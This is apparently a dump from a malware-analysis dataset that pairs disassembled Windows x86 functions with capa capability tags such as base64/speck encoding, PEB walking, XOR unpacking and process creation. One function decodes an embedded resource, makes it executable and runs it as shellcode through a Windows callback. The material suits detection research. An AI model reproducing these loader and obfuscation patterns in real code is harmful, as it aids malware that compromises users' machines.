joyce8/EMBER2024-capa huggingface dataset:
Function at 0x797c13
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
ror dword [esp + 8], 0x8b
xor word [esp + 7], 0xfc2e
xor edx, ecx
push 0x8c3152af
neg dword [esp]
ror dword [esp], 0x8a
inc ebp
and dword [esp], 0xda3d9833
xor edx, 0xd915998
ror byte [esp + 2], 0xa1
jno 0x814e59
mov ecx, 0x36016113
lea esi, [esi + ecx - 0x36016114]
movzx ecx, byte [esi + ecx*2 - 0x6c02c226]
xor cl, bl
mov eax, 0xb61d9c85
push eax
dec byte [esp]
xor cl, 0x14
neg word [esp + 1]
and eax, eax
bswap eax
inc cl
cwde
xor cl, 3
rol ax, 0xae
not cl
neg al
dec cl
add al, ah
xor bl, cl
mov dword [esp + eax*2 - 0x10e34], 0xcfa7169e
sar eax, 0x70
lea ecx, [esp + ecx + 4]
sbb eax, 0x360cb091
push eax
sbb dword [esp + 4], eax
mov eax, dword [ecx]
shr dword [esp + 4], 0x64
rol word [esp + 6], 0xc6
jnp 0xada369
sbb ebp, 4
mov dword [ebp], eax
lea esp, [esp + 8]
jmp fcn.0074a461
push 0xbb007699
dec eax
lea esp, [esp + 0x14]
jne 0xb40423
add dx, dx
setge dl
sbb al, 0x19
call fcn.007678c2

Function at 0x7dd8ea
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
js 0xb2e50f
in eax, 0x75
push edi
ret 0x9b26
inc ecx
mov byte [edx], cl
je 0x7cf91c
push 0x1e83b191
push 0x32af02a7
dec eax
lea esp, [esp + 0x20]
jne fcn.00aefa22
mov edx, ebx
mov eax, 0x16205e00
adc al, 0xb7
sal edx, 2
mov eax, ebp
add eax, edx
push 0xd4ae363e
mov dword [ebp - 4], eax
call fcn.007fcf71
mov bh, 0x84
fadd st(1), st(0)
loopne 0xb2e4bc
jne 0xb0f163
jle 0xb2e4ae
int1
cmpsd dword [esi], dword es:[edi]
jmp fcn.00b2e4b9

Function at 0x820321
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
push 0x4be59a4
not word [esp + 2]
not ecx
jmp 0xb6f507
lea esp, [esp + 0x10]
jne 0xb0241c
mov ebx, 0x8a1adfa7
pop ebx
jmp 0x731229
mov ebx, 0x6e145e24
sub bl, bh
bswap ebx
movzx ebx, byte [edx]
xor ebx, ecx
push 0x42a7c219
and ebx, 0xff
mov ebx, dword [ebx*4 + 0xb015b8]
call fcn.00706bf6
mov bp, word [edi]
mov ecx, 0x3cb59812
dec ecx
mov cl, byte [ecx + edi - 0x3cb5980f]
jg 0xb38010
mov word [edi], bp
push 0x7d83aa10
push 0x7f18ed07
lea esp, [esp + 0x10]
jmp fcn.006df70f
push 0x7bbd6e32
add edi, 2
shr bp, cl
push 0x12994
jmp 0xb37ab0
push 0xda98eb92
push 0x1b87b228
mov dword [edi], ecx
lea esp, [esp + 0xc]
jmp fcn.006f3e17
Function at 0x8298eb
Capabilities:
Encode data using xor

Disassembly:
mov word [esi], dx
push 0xc313e1b
lea esp, [esp + 8]
jmp fcn.00735567
call fcn.0071d71c
mov dword [esp], 0x3013e136
jmp 0x77a27c
xor al, byte [eax]
dec eax
mov dword [esp], 0x801e8d07
call fcn.00793e48
xor bl, cl
sal dword [esp + 4], 0xe9
rol word [esp + 6], 0x26
lea ecx, [esp + ecx + 8]
mov word [ecx], dx
push 0x39ae72a7
mov dword [esp + 4], 0x918bb23b
jnp 0xb653eb
lea esp, [esp + 0xc]
jbe fcn.007de33c
mov esi, esp
mov esi, 0xe935d9f9
pop ebx
push ebp
xor bh, byte [eax + 0x37]
pop ss
cmp esp, edi
in eax, dx
jecxz 0x8298db
out 0x71, al
push ecx
movsd dword es:[edi], dword [esi]
jns 0x829970
xor eax, 0x7f5f0842
inc edx
or byte [edi + 0x7f], bl
pop ebx
xchg dword [0x3da86e9e], edi
or eax, 0xe8bd052f
lea ecx, [edx + 0x46]
das
add eax, 0x4a8de8bd
inc esi
xchg dh, ah
dec ecx
mov ebp, 0x6b03be6
movsb byte es:[edi], byte [esi]
sbb dl, byte [ebp - 0x2a938c69]
aaa
pop es
aam 0x1d
add esp, ebp
fisub dword [edi - 0x76]
mov dword [0x2c641c31], eax
jno 0x829942
jnp 0x829936
pop ebx
inc esi
mov ebp, 0x36d2a438
dec esp
dec esp
cmp eax, 0xecb34a7b
jmp 0x8299b9
ror ecx, 0x49
mov ebp, 0x68adabcb
jnp 0x829a06
push 0xecb34a7b
mov bl, 0xec
fldl2e
add al, 0x66
xor byte [ebx - 0x37], dh
jbe 0x8299de
insd dword es:[edi], dx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push 0x8cb34a7b
in eax, 0x52
movsb byte es:[edi], byte [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
imul eax, ebp, 0xdaaca60f
xchg ebx, eax
push ss
fnstsw word [ebx + 0x4a]
dec edx
mov bl, 0xec
jecxz 0x829a10
cmc
xchg ebx, eax
push ss
fdivp st(0)
and bh, cl
leave
jns 0x8299f7
xchg esp, eax
xchg edi, eax
jnp 0x829a3c
mov bl, 0x3c
clc
into
cmp cl, dl
cmp cl, dl
out dx, eax
mov edi, 0x6a26e8a6
jle 0x8299de
invalid
test eax, 0xde778e2
add al, 0x62
maxps xmm0, xmmword [esi + 0x47]
inc edi
mov ch, 0xde
jecxz 0x8299b2
add ch, byte [ecx + 0x268778e2]
invalid
outsd dx, dword [esi]
or dword [ebx + 0x16], esp
dec ebp
stosb byte es:[edi], al
pop eax
invalid
mov eax, 0x31895a1b
mov eax, edi
push 0x5f9c0c2f
neg byte [esp + 3]
push 0x759e9caa
sbb edi, 1
jmp 0xb70144
mov word [edi], ax
jmp 0x7936c4

Function at 0xb70123
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov esi, dword [esp + edi*2 - 0xc85334e]
push edi
pop edi
lea edi, [edi + edi + 0x438ffda5]
mov edi, dword [esp + edi - 0x501530ef]
lea esp, [esp + 0x14]
jmp fcn.006e7667
rol dword [esp], 0x8e
cld
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 1], 0x35
mov edi, dword [esp]
rol edi, 0xbb
push dword [esp + 4]
popfd
push edi
jmp 0x6e0199
mov dword [esp + edi - 0x4d4190a6], edi
xadd dword [esp + edi - 0x4d4190a6], edi
mov edi, eax
jae 0x7471d8

Function at 0xb7013a
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
call fcn.00b7d673
call fcn.006fa727
lea esp, [esp + 0xc]
je 0x814e69
mov ecx, 0x91977f81
not ecx
sar cl, 5
movzx ecx, byte [ebp + ecx - 0x6e688003]
jne 0x77806c
jmp 0xb40419
Function at 0x40f270
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
pop ebp
ret

Function at 0x410000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4630
call section..text
call fcn.0040f270
mov dword [ebp - 0xc], eax
call fcn.0040f3f0
push 0xa
push 0x4100cc
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
push 0x4605
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x4630]
push edx
call fcn.0040f390
mov ecx, 0
mov al, byte [ebp + ecx - 0x4630]
cmp ecx, 0x4605
je 0x41008a
inc al
sub al, 4
xor al, 0x18
sub al, 0x6c
dec al
add al, 0xc0
xor al, 0x8b
inc al
xor al, 0xba
inc al
add al, 0xb3
xor al, 0x96
dec al
mov byte [ebp + ecx - 0x4630], al
add ecx, 1
jmp 0x410055
mov al, 0
mov ecx, 0
lea eax, [ebp - 0x10]
push eax
push 0x40
push 0x4605
lea ecx, [ebp - 0x4630]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 2
lea edx, [ebp - 0x4630]
push edx
call dword [sym.imp.KERNEL32.dll_EnumLanguageGroupLocalesW]
lea eax, [ebp - 0x28]
push eax
call section..code
mov esp, ebp
pop ebp
ret
Function at 0x405f41
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42bdd4], 0
push esi
jne 0x405f78
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f52
mov dword [ecx*4 + 0x42bdd0], eax
inc ecx
cmp ecx, 0x100
jl 0x405f4d
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405fa9
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42bdd0]
xor eax, esi
inc ecx
dec edx
jne 0x405f8b
pop edi
not eax
pop esi
ret 0xc

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x697c1197
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..text_1
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x660d2425
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x67f66a9a
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x6f275590
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x100441f4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10044319
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 4], eax
push 0x14
push 0
push 0xfe53
push 0x10607
call fcn.100506fd
pop ecx
pop ecx
call eax
push eax
push 0xfe53
push 0x10dbb
call fcn.100506fd
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
and dword [eax + 0xc], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
and dword [eax + 8], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
and dword [eax + 0x10], 0
push 4
push 0x1000
mov eax, dword [ebp - 0xc]
push dword [eax + 0x50]
mov eax, dword [ebp - 8]
push dword [eax]
push 0xfe53
push 0x11d23
call fcn.100506fd
pop ecx
pop ecx
call eax
push 4
push 0x1000
mov eax, dword [ebp - 0xc]
push dword [eax + 0x54]
mov eax, dword [ebp - 8]
push dword [eax]
push 0xfe53
push 0x11d23
call fcn.100506fd
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xc]
add eax, dword [ecx + 0x54]
push eax
push dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
push dword [eax]
call fcn.1005087c
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push 1
push 0x6f75
push 0x1e73
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10044179
add esp, 0x18
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx]
mov dword [eax + 0x34], ecx
jmp 0x10044337
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x10044337
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov esp, ebp
pop ebp
ret
Function at 0x10044423
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10044447
xor eax, eax
jmp 0x10044568
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x10044465
xor eax, eax
jmp 0x10044568
push 1
lea eax, [ebp - 0xc]
push eax
push 0x406d
push dword [ebp - 8]
push 0x1b3d
call fcn.100440d7
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x1004448d
xor eax, eax
jmp 0x10044568
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push 1
push 0x63d4
push dword [ebp - 0x10]
call fcn.100441f4
add esp, 0x1c
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push 0x5133
push 0x153e
push dword [ebp + 8]
call fcn.1003ad4c
add esp, 0x18
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x14], ecx
je 0x100444eb
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
call fcn.1004433b
add esp, 0xc
push dword [ebp - 4]
call fcn.10043ca9
pop ecx
test eax, eax
jne 0x100444fc
xor eax, eax
jmp 0x10044568
push 0x1428
push 1
push dword [ebp - 4]
call fcn.1003d107
add esp, 0xc
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x10044550
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x1004452d
xor eax, eax
jmp 0x10044568
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x10044546
xor eax, eax
jmp 0x10044568
mov eax, dword [ebp - 4]
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x10044561
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x10044565
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x1005db10
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1008839c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20], ax
xor ecx, ecx
mov word [ebp - 0x1e], cx
cmp dword [ebp + 8], 0xffffffff
jne 0x1005db34
jmp 0x1005dba3
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
jne 0x1005db48
jmp 0x1005dba3
movsx ecx, word [ebp - 0x1c]
movsx edx, word [ebp - 0x1a]
imul ecx, edx
mov dword [ebp - 0x24], ecx
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
push 0x20
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
test eax, eax
jne 0x1005db74
jmp 0x1005dba3
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
movzx ecx, word [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
test eax, eax
jne 0x1005db95
jmp 0x1005dba3
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call main
mov esp, ebp
pop ebp
ret

Function at 0x1005fa50
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + 5]
and ecx, 0xf
movzx edx, byte [0x10673faa]
or ecx, edx
mov byte [ebp - 1], cl
movzx ax, byte [ebp - 1]
movzx ecx, ax
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + 4]
push ecx
push 0x14b1e440
call fcn.1005ed30
add esp, 8
mov esp, ebp
pop ebp
ret 4
Function at 0x1007e055
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1008839c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.100705dc
mov dword [ebp - 0x14], eax
cmp dword [0x14b1f42c], esi
jne 0x1007e148
push 0x800
push esi
push 0x10007cdc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1007e0d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1007e228
push esi
push esi
push 0x10007cdc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1007e228
push 0x10007cf4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007e228
push eax
call ebx
push 0x10007d00
push edi
mov dword [0x14b1f42c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007d10
push edi
mov dword [0x14b1f430], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007d24
push edi
mov dword [0x14b1f434], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x14b1f43c], eax
test eax, eax
je 0x1007e145
push 0x10007d40
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x14b1f438], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007e16d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1007e160
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1007e182
push 4
pop eax
jmp 0x1007e22a
cmp dword [ebp - 0x14], esi
je 0x1007e182
push dword [0x14b1f42c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1007e167
mov eax, dword [0x14b1f438]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1007e1e0
cmp dword [0x14b1f43c], edi
je 0x1007e1e0
push eax
call ebx
push dword [0x14b1f43c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1007e1e0
test eax, eax
je 0x1007e1e0
call ecx
test eax, eax
je 0x1007e1d5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1007e1d5
test byte [ebp - 8], 1
jne 0x1007e1e0
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1007e210
mov eax, dword [0x14b1f430]
cmp eax, edi
je 0x1007e20d
push eax
call ebx
test eax, eax
je 0x1007e20d
call eax
mov esi, eax
test esi, esi
je 0x1007e20d
mov eax, dword [0x14b1f434]
cmp eax, edi
je 0x1007e20d
push eax
call ebx
test eax, eax
je 0x1007e20d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x14b1f42c]
call ebx
test eax, eax
je 0x1007e228
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1007e22a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call main
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d004]
jne 0x40100a
repz ret
jmp fcn.00401858

Function at 0x4068b8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404555
and dword [ebp - 4], 0
cmp dword [0x41f258], 0
mov ebx, eax
jne 0x406969
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406a1a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406a1a
push eax
call fcn.004044e3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41f258], eax
call esi
push eax
call fcn.004044e3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41f25c], eax
call esi
push eax
call fcn.004044e3
mov dword [esp], 0x41a98c
push edi
mov dword [0x41f260], eax
call esi
push eax
call fcn.004044e3
pop ecx
mov dword [0x41f268], eax
test eax, eax
je 0x406969
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004044e3
pop ecx
mov dword [0x41f264], eax
mov eax, dword [0x41f264]
cmp eax, ebx
je 0x4069c1
cmp dword [0x41f268], ebx
je 0x4069c1
push eax
call fcn.0040455e
push dword [0x41f268]
mov esi, eax
call fcn.0040455e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4069c1
test edi, edi
je 0x4069c1
call esi
test eax, eax
je 0x4069b8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4069b8
test byte [ebp - 0xc], 1
jne 0x4069c1
or dword [ebp + 0x10], 0x200000
jmp 0x4069fa
mov eax, dword [0x41f25c]
cmp eax, ebx
je 0x4069fa
push eax
call fcn.0040455e
pop ecx
test eax, eax
je 0x4069fa
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4069fa
mov eax, dword [0x41f260]
cmp eax, ebx
je 0x4069fa
push eax
call fcn.0040455e
pop ecx
test eax, eax
je 0x4069fa
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41f258]
call fcn.0040455e
pop ecx
test eax, eax
je 0x406a1a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406a1c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4189a0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc2c
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0xc08], eax
cmp esi, 0x182
jne 0x4189da
lea ecx, [ebp - 0xc2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
jmp 0x4189f8
cmp esi, 0x19f
jne 0x4189f8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor edi, edi
test esi, esi
jle 0x418aa1
push ebx
mov ebx, dword [ebp - 0xc08]
lea esp, [esp]
lea esi, [ebp - 0xc0c]
mov dword [ebp - 0xc0c], 0
call fcn.00418990
mov dl, byte [ebp - 0xc0c]
mov eax, dword [ebp - 0xc08]
mov esi, dword [ebp + 0xc]
xor byte [eax + edi], dl
cmp esi, 0xf
jne 0x418a97
lea eax, [ebp - 0xc10]
push eax
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push str.wepetejef
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push str.wujokinozalucawisuhej
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
lea edx, [ebp - 0xc04]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
push str.naxoj
push 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, esi
jl 0x418a10
pop ebx
pop edi
cmp esi, 0x2d
pop esi
jne 0x418abc
mov dword [0x276a038], 0xa62e7790
mov dword [0x276a03c], 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x418ad0
Capabilities:
Get disk information

Disassembly:
mov eax, dword [0x2769f04]
push esi
push edi
mov edi, dword [0x2769d4c]
mov esi, eax
cmp eax, 0x5dd
jne 0x418af2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov eax, dword [0x41e010]
call fcn.00418960
cmp dword [0x2769f04], 0x2f
jne 0x418b0d
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push esi
push edi
call fcn.004189a0
add esp, 8
cmp dword [0x2769f04], 0x568
pop edi
pop esi
jne 0x418b37
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
ret